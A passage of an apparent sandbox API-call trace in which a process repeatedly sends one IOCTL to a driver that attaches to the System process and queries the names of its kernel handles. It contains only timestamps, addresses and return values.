lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0130.035] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.035] PsAcquireProcessExitSynchronization () returned 0x0 [0130.035] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.035] ObReferenceObjectByHandle (in: Handle=0xffffffff800004d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003435920, HandleInformation=0x0) returned 0x0 [0130.035] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.035] PsReleaseProcessExitSynchronization () returned 0x2 [0130.035] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.035] ObQueryNameString (in: Object=0xfffffa8003435920, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.035] ObfDereferenceObject (Object=0xfffffa8003435920) returned 0x2 [0130.035] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.035] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.035] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.035] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0130.035] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.035] PsAcquireProcessExitSynchronization () returned 0x0 [0130.035] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.035] ObReferenceObjectByHandle (in: Handle=0xffffffff800004d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f95050, HandleInformation=0x0) returned 0x0 [0130.035] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.035] PsReleaseProcessExitSynchronization () returned 0x2 [0130.035] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.035] ObQueryNameString (in: Object=0xfffffa8002f95050, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.035] ObfDereferenceObject (Object=0xfffffa8002f95050) returned 0x2 [0130.036] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.036] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.036] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.036] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.036] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.036] PsAcquireProcessExitSynchronization () returned 0x0 [0130.036] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.036] ObReferenceObjectByHandle (in: Handle=0xffffffff800004ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002511ad0, HandleInformation=0x0) returned 0x0 [0130.036] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.036] PsReleaseProcessExitSynchronization () returned 0x2 [0130.036] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.036] ObQueryNameString (in: Object=0xfffffa8002511ad0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.036] ObfDereferenceObject (Object=0xfffffa8002511ad0) returned 0x2 [0130.036] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.036] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.036] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.036] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.036] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.036] PsAcquireProcessExitSynchronization () returned 0x0 [0130.036] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.036] ObReferenceObjectByHandle (in: Handle=0xffffffff800004f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800d9fb050, HandleInformation=0x0) returned 0x0 [0130.036] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.036] PsReleaseProcessExitSynchronization () returned 0x2 [0130.036] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.036] ObQueryNameString (in: Object=0xfffffa800d9fb050, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.036] ObfDereferenceObject (Object=0xfffffa800d9fb050) returned 0x2 [0130.036] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.036] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.036] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.036] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0130.037] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.037] PsAcquireProcessExitSynchronization () returned 0x0 [0130.037] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.037] ObReferenceObjectByHandle (in: Handle=0xffffffff800004f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8011864580, HandleInformation=0x0) returned 0x0 [0130.037] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.037] PsReleaseProcessExitSynchronization () returned 0x2 [0130.037] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.037] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005000508) returned 0x0 [0130.037] ObfDereferenceObject (Object=0xfffffa8011864580) returned 0x1 [0130.037] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.037] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.037] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.037] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.037] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.037] PsAcquireProcessExitSynchronization () returned 0x0 [0130.037] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.037] ObReferenceObjectByHandle (in: Handle=0xffffffff800004f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800268c760, HandleInformation=0x0) returned 0x0 [0130.037] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.037] PsReleaseProcessExitSynchronization () returned 0x2 [0130.037] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.037] ObQueryNameString (in: Object=0xfffffa800268c760, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.037] ObfDereferenceObject (Object=0xfffffa800268c760) returned 0x2 [0130.037] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.037] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.037] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.037] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.037] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.037] PsAcquireProcessExitSynchronization () returned 0x0 [0130.038] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.038] ObReferenceObjectByHandle (in: Handle=0xffffffff800004fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001fa6cb0, HandleInformation=0x0) returned 0x0 [0130.038] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.038] PsReleaseProcessExitSynchronization () returned 0x2 [0130.038] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.038] ObQueryNameString (in: Object=0xfffffa8001fa6cb0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.038] ObfDereferenceObject (Object=0xfffffa8001fa6cb0) returned 0x2 [0130.038] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.038] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.038] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.038] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.038] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.038] PsAcquireProcessExitSynchronization () returned 0x0 [0130.038] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.038] ObReferenceObjectByHandle (in: Handle=0xffffffff80000508, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80033f79a0, HandleInformation=0x0) returned 0x0 [0130.038] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.038] PsReleaseProcessExitSynchronization () returned 0x2 [0130.038] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.038] ObQueryNameString (in: Object=0xfffffa80033f79a0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.038] ObfDereferenceObject (Object=0xfffffa80033f79a0) returned 0x2 [0130.038] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.038] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.038] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.038] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.038] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.038] PsAcquireProcessExitSynchronization () returned 0x0 [0130.038] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.038] ObReferenceObjectByHandle (in: Handle=0xffffffff8000051c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80038d8190, HandleInformation=0x0) returned 0x0 [0130.038] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.038] PsReleaseProcessExitSynchronization () returned 0x2 [0130.038] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.038] ObQueryNameString (in: Object=0xfffffa80038d8190, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.038] ObfDereferenceObject (Object=0xfffffa80038d8190) returned 0x2 [0130.038] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.039] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.039] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.039] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.039] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.039] PsAcquireProcessExitSynchronization () returned 0x0 [0130.039] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.039] ObReferenceObjectByHandle (in: Handle=0xffffffff80000528, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002135af0, HandleInformation=0x0) returned 0x0 [0130.039] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.039] PsReleaseProcessExitSynchronization () returned 0x2 [0130.039] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.039] ObQueryNameString (in: Object=0xfffffa8002135af0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.039] ObfDereferenceObject (Object=0xfffffa8002135af0) returned 0x2 [0130.039] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.039] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.039] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.039] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.039] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.039] PsAcquireProcessExitSynchronization () returned 0x0 [0130.039] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.039] ObReferenceObjectByHandle (in: Handle=0xffffffff80000534, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003add3f0, HandleInformation=0x0) returned 0x0 [0130.039] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.039] PsReleaseProcessExitSynchronization () returned 0x2 [0130.039] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.039] ObQueryNameString (in: Object=0xfffffa8003add3f0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.039] ObfDereferenceObject (Object=0xfffffa8003add3f0) returned 0x2 [0130.039] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.039] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.039] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.039] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.039] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.039] PsAcquireProcessExitSynchronization () returned 0x0 [0130.039] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.039] ObReferenceObjectByHandle (in: Handle=0xffffffff80000538, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002147b30, HandleInformation=0x0) returned 0x0 [0130.039] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.039] PsReleaseProcessExitSynchronization () returned 0x2 [0130.040] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.040] ObQueryNameString (in: Object=0xfffffa8002147b30, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.040] ObfDereferenceObject (Object=0xfffffa8002147b30) returned 0x2 [0130.040] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.040] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.040] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.040] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.040] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.040] PsAcquireProcessExitSynchronization () returned 0x0 [0130.040] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.040] ObReferenceObjectByHandle (in: Handle=0xffffffff8000053c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80019b6c20, HandleInformation=0x0) returned 0x0 [0130.040] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.040] PsReleaseProcessExitSynchronization () returned 0x2 [0130.040] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.040] ObQueryNameString (in: Object=0xfffffa80019b6c20, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.040] ObfDereferenceObject (Object=0xfffffa80019b6c20) returned 0x2 [0130.040] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.040] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.040] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.040] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.040] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.040] PsAcquireProcessExitSynchronization () returned 0x0 [0130.040] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.040] ObReferenceObjectByHandle (in: Handle=0xffffffff80000540, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800b97cf20, HandleInformation=0x0) returned 0x0 [0130.040] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.040] PsReleaseProcessExitSynchronization () returned 0x2 [0130.040] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.040] ObQueryNameString (in: Object=0xfffffa800b97cf20, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.040] ObfDereferenceObject (Object=0xfffffa800b97cf20) returned 0x2 [0130.040] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.040] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.040] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.040] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.040] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.040] PsAcquireProcessExitSynchronization () returned 0x0 [0130.041] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.041] ObReferenceObjectByHandle (in: Handle=0xffffffff80000544, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80029498a0, HandleInformation=0x0) returned 0x0 [0130.041] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.041] PsReleaseProcessExitSynchronization () returned 0x2 [0130.041] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.041] ObQueryNameString (in: Object=0xfffffa80029498a0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.041] ObfDereferenceObject (Object=0xfffffa80029498a0) returned 0x2 [0130.041] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.041] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.041] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.041] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.041] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.041] PsAcquireProcessExitSynchronization () returned 0x0 [0130.041] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.041] ObReferenceObjectByHandle (in: Handle=0xffffffff8000054c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002066f20, HandleInformation=0x0) returned 0x0 